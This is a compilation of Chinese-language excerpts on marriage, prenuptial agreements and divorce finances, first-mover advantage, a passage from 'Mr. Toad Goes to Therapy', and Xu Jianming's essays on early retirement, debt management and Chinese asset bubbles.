　　据说当年结婚后不久，有一天林语堂突发奇想，跑过去对妻子说：“咱把婚书烧掉吧？”妻子一开始楞了一下，想你个小样儿是不是外面有女人要和我掰了呢？就问他说你这啥意思。林语堂说：“婚书是结婚的证明，只有离婚的时候才用得到。”林语堂的妻子也是聪明人，一听就明白了，于是马上翻箱倒柜，找出婚书给林语堂，然后林语堂二话不说一把火烧了。

　　林语堂的意思很明白，如果我们一辈子都相亲相爱，就永远不会用到婚书，那不如把婚书烧了；如果今后不幸要离婚了，才会把婚书拿出来做证明材料，但既然已经准备不在一起过了，那这张婚书不也一样成废纸了吗？所以还是不如把婚书烧了。

　　换句话说，一纸婚书，终究无法把两个人捆在一起过一辈子。能过下去的，终究是会一起过下去的，不能过下去的，自然会像我那个朋友一样，不惜一而再，再而三选择离婚。而婚书烧掉以后的几十年间，林语堂夫妻二人依旧相亲相爱，生活美满幸福。

　　等他们老了，有人问林语堂经营婚姻的秘诀。林语堂说秘诀就两个字，一个是“给”，一个是“受”。夫妻之间应该尽量地“给”，而不计较“受”。林语堂的这个观念是从《圣经》里来的，原话叫“施比受更有福”。如果夫妻双方都能想着为对方多做点什么，而别总想着能从对方那里得到些什么，那这样的婚姻又怎么会有产生危机呢？

　　伟大的无产阶级革命导师恩格斯同志早就说了，婚姻是财产私有制的产物。等将来共产主义实现了，我们就不需要用法律来保障婚姻了，我连三妻四妾都不用找，两个人只要有爱情就能在一起，爱情不在了，就随时可以分开。

　　2007 年土豆网创始人王微和上海电视台一个女主播结婚，一年之后又闪电离婚，原本离婚赔偿都谈好了，天晓得 2010 年土豆网准备去美国上市了，这时候这女的突然半路杀出来，要求重新分割土豆网 38% 的股权。

　　就是因为这起突如其来的诉讼，土豆网不得不推迟上市，让原本市场份额不如土豆的优酷抢占了先机，等王微最后以 700 万美元现金补偿了结这桩离婚官司并重启土豆网上市流程的时候，最佳上市时机已经错过了——当年优酷上市首日大涨 161%，市值超过 30 亿美元，而后土豆上市首日下跌 12%，市值 7.1 亿美元。如果不是因为这个女人，不是因为这桩离婚官司，那后来绝对不会是优酷收购土豆，而是土豆收购优酷。王微的身价也会和现在有着天壤之别。所以才说结婚是你这一生投入金额最大也是风险最高的一笔投资。

　　如果这个世界上存在最愚蠢的投资的话，那结婚后再离婚一定是最愚蠢的投资。但就像钱钟书说的，城外的人想进来，城里的人想出去，有些人就像我那个朋友，一根筋想不明白这么浅显易懂的道理，就是死活要结婚，然后死活要离婚，怎么拦也拦不住。

　　理财产公证和签订婚前协议这两种办法，后者比前者更好一些。因为看起来婚前财产公证比较权威，但它只能对婚前财产进行公证，而婚前协议不但可以对婚前财产的归属进行约定，还能对婚后将要取得的财产进行约定，当然它也可以约定财产之外的其他事情，适用范围比财产公证更广。比如说约定婚后每周一三五老公洗碗，二四六老婆洗碗，礼拜天下馆子吃饭……毕竟婚前协议操作起来不像财产公证那么冷冰死板，可以有许多个性化的条款，更容易为双方接受。

　　在美国律师界有一个段子，如果要给富人结婚提三条建议，那第一、尽量不要结婚；第二、非要结婚，也要找个门当户对的；第三、如果找不到还要结，那就一定要签订婚前协议！婚前协议的重要性可见一斑。

　　我国《婚姻法》第 19 条规定：夫妻可以约定婚姻关系存续期间所得的财产以及婚前财产归各自所有、共同所有或部分各自所有、部分共同所有。也就是说夫妻双方的财产想怎么分就怎么分，但必须得在结婚之前说好。

　　比如美国影星道格拉斯由于爱上了女星凯瑟琳·泽塔·琼斯，就要和结发 20 年的老婆离婚，但因为当初没签过婚前财产协议，官司打了一年多，耗费了天价律师费，讨价还价到最后依然割肉 4500 万美元。

　　吸取了这次惨痛教训后，道格拉斯在和琼斯结婚前先签订了一份协议。协议中约定结婚后琼斯可获得道格拉斯所有资产的 10%，而且因为道格拉斯有过出轨前科，所以协议里还设置了对婚后出轨的惩罚条款，如果道格拉斯和琼斯结婚后又移情别恋，他要付出 340 万英镑的代价。如果他们之后离婚，琼斯还可以额外获得每年 100 万英镑的离婚赔偿。意思是结婚时间越长，离婚时的赔偿越多。假如他们结婚 10 年后又离婚了，琼斯还可以获得 1000 万英镑“青春损失费”。

　　这样的协议其实对双方都有利。对道格拉斯来说，因为有了出轨惩罚条款，一定程度上能遏制他再次出轨的冲动，而且他越晚出轨，惩罚越大，他就越是舍不得出轨。但反过来说，就算今后忍不住又出轨了，付出的代价也会比前一次离婚时小得多。比如 5 年后如果道格拉斯又移情别恋，离婚时分给琼斯的财产也就 840 万英镑，远远不到自己一半的财产。

　　而对琼斯来说，虽然离婚时自己将分不到对方一半的财产，看似拿少了，但实际上琼斯本身也是美国一线女星，吸金能力说不定还比道格拉斯更强呢！签了这份协议，今后万一离婚了，至少自己的财产不会再分给道格拉斯，还能稳赚几百万英镑，相当于给自己上了一份养老保险。但如果不签这份协议，万一今后离婚时自己赚到的钱反而比道格拉斯多的话，可能还要倒贴钱给道格拉斯。所以你看，这种婚前协议就是即有利于巩固婚姻，又能在离婚时降低双方风险的好办法。

　　我国夫妻财产制度分为法定财产制和约定财产制。前者指的是夫妻财产完全共有，离婚时一人一半，后者则是根据双方约定来分配财产。而约定财产制又分为共同财产制和分别财产制，其中对富人保护力度最强的无疑是分别财产制。意思是不管结不结婚，你的就是你的，我的还是我的，我们互不相欠。

　　比如说前几年台湾首富郭台铭（就是那个老是有人跳楼的富士康的老板），迎娶比他小 24 岁的舞蹈老师曾馨莹的时候，两人就签订过婚前协议，决定采取分别财产制。约定万一以后离婚，郭台铭名下的鸿海股票一分钱不会分给曾馨莹。

　　这样做至少有两方面好处。对内，曾馨莹可借此证明自己是爱郭台铭这个人而不是爱他的钱，打消顾虑后的郭台铭自然会更加疼爱珍惜这位通情达理的妻子，郭台铭子女对这位后妈的接受度也会大增，因为知道你不是来抢遗产的；对外，由于郭台铭的鸿海股权不会因为将来可能出现的离婚分产纠纷而发生任何变化，因此也不会影响到鸿海公司的股价和未来公司的经营。

　　针对约定财产制，修改后的《婚姻法》第 40 条规定，从公平原则出发，离婚时付出较多义务的一方有权向另一方请求财产补偿。主要包括三种情况：一是抚育子女，二是照顾老人，三是协助另一方工作。但这需要查证双方的家庭分工状况，双方的工作职位在婚前和婚后的变化等等。

　　也就是说，只要查明婚后女方为了照顾家庭而放弃了工作，或者工作收入比男方低很多是因为要花更多的精力来照料家庭的话，那就算约定了分别财产制，法院还是会酌情把一部分男方财产补偿给女方。所以万一曾馨莹将来不幸与郭台铭离婚，她也不太可能落到外界所传的一分钱都拿不到的悲惨下场。

　　尽量掌管家庭财政大权

　　还有一点在离婚争产时能起到决定胜负的关键作用，就是平时在家里夫妻双方到底谁掌管财政大权。因为许多有钱的丈夫尤其是自己当老板的丈夫在想要离婚的时候，会提前偷偷把自己名下的财产转移出去，不管是转移给自己父母兄弟朋友，还是转移到公司里面去，这样一来自己离婚时便会两手空空，没钱可分。

　　比如说一度闹得沸沸扬扬的贾静雯离婚官司，她老公孙志浩就非常聪明。孙志浩是标准富二代，但他只是在父亲公司挂名拿薪水，薪水拿多少都是老爸说了算，要买啥东西，从老妈那里拿点钱就可以了。无论是孙家的房子也好还是公司股权也好，都在他爸妈名下。哪怕是结婚时爸妈送给儿子的婚房也属于婚前财产不需要分割。

　　结果离婚的时候贾静雯傻眼了——他们名下可以被看成夫妻共同财产的只有可怜的 10 多万美元！而且结婚后贾静雯一直在外面拼命接戏挣钱，结果她名下资产反而比孙志浩多许多。当初结婚时媒体都说贾静雯嫁入豪门，结果离婚时她一点好处都没摊到。所以对那些一心想嫁入豪门的拜金女来说，就算你们婚前没有进行过任何财产公证或签过任何婚前协议，如果对方有心防你，也不见得离婚时你能从对方身上捞到多少好处，因为你老公早就把财产都转移掉了。

　　有些男人很坏，离婚前会把自己名下所有股票基金都抛掉，再把自己银行卡里的钱都取出来存到爸妈账户里，然后对法官说自己的钱都用在家庭开支上，已经花光了，那你能拿他怎么办？所以在察觉老公有些不对劲的时候，一定要提早把这些资产都给固定起来，不让对方转移。由此可见，聪明的女人一定会把家庭财政大权掌握在手里。

　　但如果家里的财政大权掌握在对方手里，自己制止不了，就该先下手为强，抓紧时间向法院申请诉前财产保全。但你必须要对申请保全的财产提供具体线索，比如银行帐号、证券帐号等等，这就要求你平时做一个家庭财务的有心人，不能做甩手掌柜，就算你不管钱，也一定要留意一下家里的这些财务信息。

　　抓住先发优势

　　由于《大富翁》游戏是回合制的，就是你走一步，我走一步，那在游戏一开始的时候，就一定会有人先走，有人后走，而后走的人从游戏的一开始天然就已经处于劣势了。

　　原因很简单，假如你是玩一个筛子的，从 1 到 6，先走的人到了一块地皮买下来后，后走的人就有 1/6 的概率会走到前面那个人已经买下的那块地皮，那结果一是你得付给他地租，结果二是你丧失了一次买地的机会。一进一出，你们之间的财富差距就迅速被拉开了。

　　到第二轮，又是他先走，你后走，假如第一轮你们正好走到同一块地皮上，那第二轮，你还是有 1/6 的概率会再次走到他新买的一块地皮上。虽然刚开始游戏的时候，两个人连续 N 轮掷出相同数字的概率非常低，但假如你运气就是这么背，一上来连续 5 次跟着上家走到一样的位置，人家 5 轮下来买了 5 块地，你 5 轮下来一块地没买到，还付了 5 次地租，那你这盘游戏最后能赢的概率就已经微乎其微了。

　　所以在围棋比赛中就有这样的规定，执黑先行的一方要对另一方进行让子，贴个半目或者一目，以示公平。而在没有办法让子的五子棋中，黑方的优势就更明显了，所以就要对黑方的赢棋手段进行限制，包括三三禁手、四四禁手、长连禁手。如果不设置这种禁手规则的话，在高手对决中，执黑先行的一方就非常容易赢棋。

　　虽然游戏可以用规则来强行维持公平，但现实生活中可没有。大到一个国家的命运，小到一个人的命运，先发优势都非常重要。

　　经济学上有马太效应的说法，意思是人类社会中存在强者愈强、弱者愈弱，富的更富、穷的更穷的现象。老子也提出过类似的思想，叫“天之道，损有余而补不足；人之道则不然，损不足以奉有余。”也就是说，自然界的规律讲究的是平衡，哪里太多了，就要拿掉点，哪里太少了，就再加上去点，平衡才健康。但人类社会往往是反过来的。

　　而造成马太效应的一个非常重要的原因就是先发优势不同。正所谓失之毫厘，谬以千里。一个穷二代和一个富二代，在人生的起点上天然就不同，他们能享受到的资源不一样，所以从概率上说，富人的孩子继续成为富人的概率就要比穷人的孩子逆袭成富人的概率大得多。反过来说，穷人的孩子继续做穷人也要比富人的孩子沦落为穷人的概率大得多。虽然由于我们的社会存在仇富心理，总觉得富二代是个贬义词，认为富二代都是败家子，但从概率上说，有知识、有思想、勇于拼搏和创新的富二代的比例，远远超过穷二代的比例。

　　如果在人生的起点上，我们没有一个富爸爸，已经处于后发劣势中，那在成长的过程中，就要努力在其他方面争取到先发优势。比如学习理财，就应该越早开始越好，你开始理财的时间越早，你和其他同龄人相比，你的先发优势就会越明显。

　　创业的过程也是如此，最早进入某个创新领域的企业最容易获得先发优势，也最容易笑到最后，你进入得越晚，先发优势越少，后发劣势越多，成功的概率就会越低。

　　《大富翁》游戏中就用一个规则对好运气进行了限制——我们知道，两颗骰子如果掷出相同数字的话，可以再多掷一个回合，但如果你连续三次都掷出相同点数的话，那不好意思，到第三次你就会直接入狱。还是那句话，出来混，迟早要还的。

蛤蟆先生去看心理医生

　　河鼠骨子里还是有点儿保守，他说：“你当真认为蛤蟆有那么糟糕？我是说，你不觉得心理咨询这东西，现在有点儿成了赶时髦？看报纸上写的，好像现如今每个人都在接受心理咨询。我那个年代，人们心里不舒服，就给他们几片阿司匹林，说不定更管用。”河鼠想起去咨询的建议当初可是他自己提出的，现在他倒打起退堂鼓了。

　　按过门铃后，蛤蟆被带入了一间书盈四壁的房间，房间里有几把椅子，还有一张大书桌，上面摆放着零散物件，包括一颗陶瓷头颅，上面写满了文字，是关于福勒所创的颅相学（颅相学认为可以通过测量人的头颅来判断人格，不具备科学性，但曾对心理学发展起过积极作用。）传说的。

　　“很抱歉，”苍鹭微笑了，“我知道关于这个话题我会说得有点儿多，但我认为这很重要。蛤蟆，理解你的童年就是理解你自己的关键线索，这贯穿我们咨询的全过程。弗洛伊德曾说，'本我所在，自我相依。’这个我会在以后做解释。好了蛤蟆，你没有理解的部分具体是什么？ ”

　　“一个处在’我好；你不好’坐标的人，你觉得他最极端的行为会是什么？ ”

　　蛤蟆想了一下，说：“我猜，是谋杀。”

　　“对。好在只有少数人会那么极端。不过，你会听到有人这么说老板：'给他打工快把小命丢了！’他们确实这么觉得。”

　　“照这么推测，在这个坐标上玩游戏的人都处在'父母状态’？ ”蛤蟆若有所思地说。

　　“而且永远都是'挑剔型父母状态'。这些人动不动就指责，焦虑得随时会发脾气，还想用不可能达到的标准来评判别人。当然了，有时候他们会摆出’养育型父母'的姿态，说些诸如’我比你更心痛’或’我是为你好’之类的话，但大部分人都能听出这是虚情假意。不过，关于这类人的心理状态，还有一个有意思的现象，那就是他们从来不会抑郁。”

　　“为什么呢？ ”蛤蟆有些吃惊。

　　“因为愤怒能够非常有效地抵抗抑郁。愤怒的人从不觉得内疚，因为他们总在怪罪别人。他们自卫的方式，是把自己内在的恐惧对外投射到别人身上，这样就能把对自己的怒火转向别人。”

　　“你觉得呢？我们咨询的一开始，你确实在用自怜猛烈地攻击自己，不是吗？ ” “是的，你说得很对。我确实觉得每个人都在找我的茬儿，尤其是在我历经冒险后刚回来时，大家都那么苛刻地对待我。那时我确实感到抑郁，觉得自己不够好。不论我做什么，我都希望得到别人的爱。”

　　“这又是另外一个游戏了。”苍鹭说。

　　“什么游戏？ ”

　　“'不论我做什么都要爱我'。有些人生活一团糟，或者有意无意惹上麻烦，就是想看看别人能宽容他们到什么程度，什么时候会排斥他们。接着他们就会说：’我早说过你会这样对我，证明我是真的很差劲很愚蠢。’”

　　“在我看来这些游戏很危险，因为如果你尊重或你爱的人放弃你，你肯定会觉得痛苦，孤零零一个人。”

　　“我同意。你现在开始明白这些游戏有多危险了，它们会严重伤害你的健康。”

　　两人停了下来，同时陷入深思。

徐建明谈理财：观念决定一生的财富

主题

乐退：令人向往的生活方式

　　每个人都希望能做自己想做的事情，但人生很多事真的是很无奈。

　　年轻时，我们有精力有时间，但没有钱，很多想做的事情没法做；中年时，我们有了钱也有精力，但常常没有时间；到了老年，我们有钱也有时间了，可惜精力又不行了。

　　个人理财中一个非常重要的问题是安排好退休生活，而能够提前退休则是很多人的梦想——因为只有提前退休，才能够实现有时间、有精力也有金钱做自己想做的事情。

　　对于这种生活方式现在有一个新词——乐退，意思是说早点退休享受人生。这里的退休是有备而退，富足而退，健康而退，为快乐生活而退，而不是那种到年龄的不得不退。

　　2010 年胡润研究院首次发布胡润乐退报告，该报告关注的是中国企业家富足而退的生活方式：他们花更多时间享受生活，品味人生，重拾自己的兴趣爱好，出国旅游，更加重视健康，投资理财，继续学习，更加关爱家人、朋友，关心社会公益等。他们的平均乐退时间是 45 岁。按照胡润的研究报告称，中国富豪的乐退门槛为 1.1 亿元人民币，按这个标准目前中国有 5.5 万人具备乐退条件。

　　照这个标准，乐退似乎是富豪的游戏，我们普通百姓只有一直做到老才可以休息？

　　其实，只要做好退休养老规划，我们普通人也能够享受到乐退的生活方式。

　　要实现“乐退”，关键要满足两点：

　　1.“乐”——做自己喜欢做的事情。喜欢的事情不一定都是奢侈的事情，不一定都是打高尔夫、坐游轮、开私人飞机什么的。只要是喜欢的事情都行，比如练书法、下围棋、徒步旅行等也不花什么钱。当然要做到“乐”，还必须有一个好身体和好精力，因此必须是比较年轻，一般来说，55 岁以后退休就不是这里的“乐退”的概念了。

　　2.“退”——当然指的是退休。退休不代表什么都不做，而是不会为了钱而做事情了。他可能仍然做事情，甚至仍然从这些事情中获得收入，但这些劳动收入不是生活的必需，没有这些收入，生活也不会有什么改变。其日常的生活费用来自积蓄或投资性收入。

　　按照上面分析的乐退的两个特点，乐退的养老规划就要注意以下两方面：第一，乐退的规划不应该考虑养老金。因为乐退的时候都还没有到能够拿养老金的年龄，而且靠养老金实现的生活只能是基本的保障，和乐退的标准有距离。第二，乐退的人退休后的生活时间非常长，可能要长达半个世纪。所以，在安排退休资金的时候一定要考虑通货膨胀的影响，而且一般要用永续年金（养老金本金永远用不完）的方式安排养老资金。

　　在上面所说的乐退的条件下，我们来给大家规划几条我们普通百姓也可以实现的“乐退”方法：假设，一个人希望 40 岁就乐退，而一年 30 万的消费就可以实现他满意的退休生活了。他要达到怎样的财务条件才能够乐退呢？

　　方案 1 有一套自己满意的住处，同时有一个小饭店或一个小茶馆，请一个放心的人打理，让他第一年上交 30 万元，以后每年上交的金额按照通货膨胀提高就行了。

　　方案 2 有一套自己满意的住处，同时再有一套房产（可以是居民用房也可以是商业用房），其年租金在扣除应该缴的税收后，能达到 30 万元就够了。因为房租一般是按照通货膨胀一起上升的。

　　方案 3 有一套自己满意的住处，再有 500 万元资金就行了。当然这 500 万不能存在银行里，而要积极地投资。假设未来平均的通货膨胀水平在 2%，这笔资金的长期平均收益达到 8%，就能实现我们预定的目标了。因为资金量比较大，可以让专家来理财，专家理财要实现长期平均收益 8% 并不难。

　　对于方案 1，成功的关键是你的小饭店或茶馆一定要经营稳定。对于方案 2，如果是居民房，租金要达到 30 万元，该房子大约要值 1000 万元了。商铺需要的本金比较少，一般来说价值 500 万元左右的商铺就可以实现 30 万元的租金收益了。其实，方案 3 从资产配置和资金流动性的角度来看是最佳方案，要实现起来也并不难。现在在上海有两套房产的家庭，卖一套大约就可以实现了。

　　所以，要实现乐退生活并非高不可攀，关键在于你的心态是否已经到了想享受乐退生活的境界了。

如何管理债务

　　我们首先要区分优质债务和劣质债务。

　　优质债务和劣质债务的区分标准从两方面来看：一是利率水平，二是使用目的。

　　凡是利率达到当时基准利率 5 倍以上的，就可以被定义为劣质债务。比如，地下钱庄债务、信用卡债务等。信用卡作为一个方便的支付手段是很好的，但千万不要用信用卡进行负债。在免息期内将账单全部付清而不是只付最低付款额，是使用信用卡的基本原则。

　　为购买不急用的奢侈品而负的债也是劣质债务。比如，汽车销售公司提供低息贷款让你零首付购车，是否应该买呢？我们的建议是：如果你的钱很多，可以不用贷款就买得起，那么就零首付买。如果你没有钱买不起车，即使给你零首付，也不要买。理由是，汽车对前者来说是基本生活用品，这时有低成本债务可以利用，何乐而不为？而对于买不起车子的后者，私家车就是一个奢侈品了，负债购买当然不对。

　　一个家庭为买房产付了三成首付，其余都使用银行贷款，合理吗？应该说，一套能够支付得起首付的房产对一个家庭来说不算是奢侈品，而按揭贷款的利率也是相当优惠的。因此，是合理的。事实上，住房按揭贷款是典型的优质债务。

　　但如果你现在连购房的首付款都没有，需要借贷的话，那说明这套房子现在对你来说太贵了，就不应该买。

　　推而广之，如果能够用按揭贷款利率水平来购买资产的债务，一般都是优质债务。

　　对于劣质债务我们要尽量避免，而对于优质债务，我们应该在家庭总债务合理的情况下尽量地使用，以提高可运用资产的额度。

　　因此，买房时，即使你有足够的钱，也应该尽量地使用按揭贷款。

　　如果之前买房贷了款，现在又有了一笔收入，是否应该去提前还贷款呢？一般不要。

　　债务可分为短期债务和长期债务。很多人做按揭选择贷款期限的时候常常选择短期的，总觉得贷款期限越长要支付的利息越多，很不划算，而且对“背”几十年的债有巨大的心理压力。这其实还是由于人们对货币的时间价值不太了解。一个 30 年期限 100 万元的债务现在看起来很重，但随着时间的推移，负担会越来越轻。就像 20 年前，10 万元可能就是一个巨大的债务，到了今天，10 万元的债务你还会感到压力很大吗？所以，我们应该小心的是短期债务，而对长期债务其实不用有太多的压力。这里再一次提醒大家，对信用卡和地下钱庄的债务（这些一般都是短期债务）要格外小心，对长期的住房按揭贷款倒不要太担心。所以说“房奴”的问题更主要的是在心理上，而不是财务上。

　　在个人家庭理财中，债务管理有两个简单的定量标准：第一，负债总额不要超过净资产。第二，每月偿还债务的支出不要超过家庭稳定收入的三分之一。这两个标准很简单，但运用时一定要灵活。比如，一个首次置业的年轻人，其负债总额很可能超过其净资产，这并不一定就有问题。对于第二个标准，在运用时要综合考虑其他的财务指标。家庭收入的稳定性和成长性、家庭支出的弹性和结余比例等财务指标，都会影响到债务的合理性。比如一个月收入 2 万元的家庭，其日常开支只有 6000 元（结余比例达 70%），那么，其每月的负债支出达到 1 万元（负债收入比为 50%）也不算太高。相反，一个月收入 2000 元的家庭，负债支出哪怕只有 600 元（负债收入比为 30%）也无法负担，因为其每月 2000 元的收入几乎都要用于日常开支（结余比例很低），而且这些开支几乎是不可以再压缩了（支出弹性很小）。

财富的自然属性

　　进一步分析，如果完全按照上述理想状态设计的社会，就会是完美的社会吗？

　　上述模型中提出的财富分配原则是：按效分配。也就是一个人能够分配到的财富是按照其对创造该财富的贡献效果来分配的。

　　人拥有的两样东西可以参与到财富创造过程中：劳动能力和资本。因此，劳动者和资本分享最后创造出的财富。由于劳动者劳动能力的增长是有限的，而且劳动者本身需要维护成本，还会经历生老病死，因此一个劳动者能够创造的财富是有限的。但资本则不同，资本没有维护成本，不会经历生老病死，而且最重要的是，资本是以几何级数的方式增长的。所以这种财富的分配方式，最终将导致财富在社会上的分布极其不平均。甚至，从理论上讲，只要时间够长，财富最终将会集中到一个人手上，这是财富的自然属性所决定的。

　　财富的创造方式可以很好地说明，是什么导致所有人都付出劳动，但彼此之间却形成很大的收入差距。除了每个人通过劳动创造财富的能力存在差距外，最大的差距来自资本。

　　在财富上获得成功的人都在不断地积累资本，并且将资本进行长期投资，同时愿意承担与此对应的风险，因为只有能够承担风险的人才可能获得超额的风险收益。因此这些人的财富才能够获得几何级数的增长，而在足够长的时间下，这种增长最终所获得的收益是惊人的。

　　财富的这种自然属性是这个世界中万事万物的基本特征，这是万有引力定律所决定的。仔细想想似乎很神奇，为什么构成宇宙的万事万物都是相互吸引而并非排斥呢？因为如果物质之间都是相互排斥的，那么所有物质就不会发生聚拢，也就不能构成星系、恒星、行星以及我们所在的这个行星上的一切，自然也就不会有人来关心这其中的原委。总之，今天我们之所以能够在这里提出问题，正是因为宇宙中的物质是相互吸引的，这是宇宙万物的基本属性，这种吸引力的属性当然也会传导到财富上。所以，财富的分配会像宇宙中物质的分配一样，存在极不均匀的现象。而且随着时间的推移，会变得越发不均匀，最终整个宇宙都将聚拢到一个点上。

房产不是不败市场

　　在过去十几年中，在中国唯一买了一直赚钱的就是房产，于是人们形成了房子长期来看一定上涨的思维惯性。即使在现在市场普遍认为房价要下跌的环境下，很多人仍然认为下跌只是短期现象，长期来看房子仍旧看涨。但这是不真实的。过去 20 年的房市行情只是房产市场化初期商品房短缺带来的特殊现象，就像改革开放之初中国处于短缺经济时代，商品只要生产出来就能卖掉一样，现在这样的状况早已经一去不复返了。房产必将挤掉泡沫，回归理性，今后，房价无论是涨还是跌都是正常的。这就是房价的新常态。

中国经济下行的内在逻辑

　　中国宏观经济的增速从 2010 年以来，每年持续以 0.5%～1.0% 的速率下行。其核心的内在原因就是中国人口红利的急速消失并立即转换为人口负担。

　　人按年龄分为三种：第一种是孩子，他们需要抚养而不创造财富；第二种是老人，他们需要赡养也不创造财富；第三种是介于老人和孩子之间的青壮年人，只有他们才创造财富。

　　虽然目前中国的人口总数仍在增长，但 15～64 岁之间的青壮年人在 2010 年之前每年是增加的，从 2010 年以后就开始减少了，而且这个减少是持续的，并且是不断加快的。根据社科院发布的《社会蓝皮书：2015 年中国社会形势分析与预测》，在 2020 年之前，我国劳动年龄人口将年均减少 155 万人；2020—2030 年将年均减少 790 万人；2030—2050 年将年均减少 835 万人。预计到 2050 年，中国劳动年龄人口将减少 2.5 亿人。如果再进一步细分来看，19～22 岁的年轻人在 2009 年达到峰值的 1 亿人，而在以后短短的 10 年间将减少一半，只有 5000 万人。而在 16～34 岁人类最富创造力年龄段的人口目前在 4 亿人左右，但在未来的 10 年中，这个年龄段的人口将下降 1 亿人。

　　不需要复杂的经济学理论，只要基本常识就可以知道：当创造财富的人总体上减少了，特别是最富创造性的年轻人的绝对数量大幅度减少时，还想让人口每年创造出来的财富实现持续增长，这是不可能的。事实上，20 世纪 90 年代以来日本经济一蹶不振，2010 年以来欧盟经济的复苏缓慢等现象，其内在核心的因素也同样是这些地区劳动力人口达到峰值后开始下降，同时老年人口比例迅速上升。

　　影响中国经济增速的，除了人口年龄结构这个核心的内在因素外，还有一些非常重要的因素，使得中国传统的拉动经济增长的方式无以为继。一直以来，拉动我国经济高速增长的最重要的动力是投资和出口。

　　首先看投资，特别是房地产投资和政府主导的投资。这些投资经过十几年的年均 20% 以上的超高速发展到现在，一方面确实极大地提升了我们的居住条件以及全社会的基础设施的条件，但另一方面也带来了经济结构的失衡、产能过剩、房产投资过剩、环境和资源的压力，甚至社会财富分配差距的加大等各种问题。而这些问题积累到今天，已经到了必须调整的时候，这使得我们的投资无法再保持之前的高速增长的态势。最近提出的“一带一路”的建设规划，正是希望将过去我们在国内的做法，推广到海外，再延续过去拉动经济的套路。这一战略眼光无疑是宏大的也一定是有效的，但中国政府通过行政的手段在国内畅行无阻的方法，在海外推行不会那么容易。因此，海外市场的增量在短期内很难迅速放大，无疑将无法弥补国内需求的减少。

　　再看出口，正是因为劳动力绝对数量的减少导致劳动力成本急速上升，使得中国制造的优势不再；加上美元的升值使得人民币被动地升值、全球经济的疲弱和以美国为首的发达国家的贸易保护和制造业的重塑，都使得我国的传统制造业的优势迅速丧失。国家统计局公布的 2015 年第一季度的经济数据显示，房地产开发投资增速为 8.5%，降到了个位数；而进出口增速为-6%，这些正验证了上述分析。

　　人口的迅速萎缩和老化加上传统发展方式的无以为继，使得我国经济结构面临深层次调整。再加上全球经济的放缓，预示着中国经济发展的减速还在进行时，且不会很快结束。

中国资产泡沫破裂的逻辑

　　所谓资产泡沫就是资产的价格远远超出了其内在价值。而当一个资产的价格长期严重偏离其内在价值时，最终，价格就会向其内在价值迅速回归。资产是有惯性的，这个惯性决定价格回归的过程中，不会在回到其内在价值时就停止，而是会依照惯性继续下跌，直到远低于其内在价值的水平。之前价格向上偏离的幅度越大，价格回归时向下的偏离也越大。就像一个被拉离平衡位置的单摆，一旦放手，它会达到反方向同样的偏离位置。这个过程就是资产泡沫的破裂。

　　一个地区资产的内在价值与其经济的成长率具有密切关系。以一只股票来说，100 倍的市盈率是否高，要看这只股票是否具有成长性。如果该股票能够保持 50% 的利润增长率，100 倍市盈率就是一个合理的估值。相反，如果该股票的利润不再具有成长性，那么 20 倍的市盈率可能都太高了。了解了经济成长和资产价值的关系，就很容易明白为什么一国出现资产价格的大幅下跌，往往发生在其经济增长迅速放缓的阶段。

　　中国房地产资产的价格是否有泡沫，不需要再罗列数据来说明。但之前这个泡沫没有破，是因为我国有全球第一的超高速的经济增长。在经济高速增长的背景下，房地产资产的泡沫其实没有看起来的那么大。但是当我们处在经济增速不断下滑的背景下时，房地产资产的价格即使不再上升，其泡沫也会随着经济的下滑而不断变大。如果经济持续下滑，泡沫就会持续地被放大。除非让房价随着经济的下滑而下降。但遗憾的是，经济的下滑又需要房地产价格的坚挺。近期房地产的救市政策就体现了这一经济管理的逻辑。到此为止，资产破裂的逻辑链终于完成了。

　　我们将这个逻辑链再整理一遍：经济增速的下滑是各种内在和外在不可抗因素共振的结果，无法改变。在过去依赖房地产拉动经济的背景下，中国房地产资产已经产生了很大的泡沫。而经济的持续下滑又持续地加大了这个泡沫的压力。同时我们的经济决策部门在经济下滑的情况下不允许通过房价下跌来释放这个压力。最终，这个泡沫在不断加大的压力下只能走向破裂。

　　房地产资产是这样，那么股市资产又如何呢？逻辑是完全相同的。区别只在于后者更易吹大也更易破裂（2014 年下半年到 2015 年的短短的 9 个月里，股市资产的价格已经上升了 1 倍，然后泡沫又迅速破裂，完成了一个轮回）。如果股市再出现暴涨，这样的轮回还会继续。

　　其实，除了房地产和股市的泡沫外，还有一个更大的潜在泡沫需要警惕，这就是人民币。20 世纪 90 年代以来，人民币一直是被严重低估的，到了 2005 年，人民币开始释放过度低估的压力而进入升值通道。接下来的 10 年中，人民币对外升值对内贬值，迅速释放了低估的压力。到了 2014 年前后，人民币已经不再被低估。但也没有被高估，因此谈不上泡沫。但同样的逻辑，随着经济的迅速下滑，人民币汇率如果不同步下调，必然会导致人民币汇率虚高。但目前经济的诡异之处在于：人民币需要走向国际化，而人民币国际化又要求人民币保持稳定和坚挺；同时，美元的强势又让人民币被动地跟随升值；而经济的下滑需要发行更多的人民币并希望推高人民币的通货膨胀水平，所有的这一切都在吹起人民币这个泡沫。所以，我们看到人民币正在迅速地泡沫化，需要通过汇率的大幅调整来消除这个泡沫。

　　房地产、股市和人民币就是我们说的中国资产的泡沫。这三个泡沫最终都将破裂，并且通常会相继发生。因为一个资产泡沫的破裂必然引发经济的巨大震动，从而引爆另一个泡沫。

　　这三个泡沫哪一个会最先破裂？一般来说股市的泡沫最为脆弱，通常是最先破的。

　　就在准备结集出版整理本书稿时（2016 年 7 月），市场已经验证了这点：股市的泡沫已经挤去了大半，人民币汇率也在 2016 年迅速下跌，短短的半年时间跌去了过去 5 年的涨幅。所以说，中国资产的泡沫不是破不破的问题，而是中国资产泡沫破裂的大幕已经拉开，这出大戏的序幕已经上演。现在，我们需要关心的是高潮何时到来，高潮之后的结局又如何。

对世界的影响

　　预期中的中国资产泡沫的破裂，引发的将不只是中国的金融危机，而是会波及全球资本市场甚至全球经济体系。这也将会是首次由中国引发的全球金融危机。

　　需要分析的是，中国资产泡沫的破裂对全球资本市场乃至全球经济只是产生震动还是具有实质性的影响。按照一般情况来看，中国经济虽然已经成长为全球经济举足轻重的一极了，但毕竟我国经济，特别是金融体系与全球还没有实现全面连接，因此中国资产泡沫破裂对全球的冲击波在传导时会有很大的衰减，对全球的影响也许不会太大。

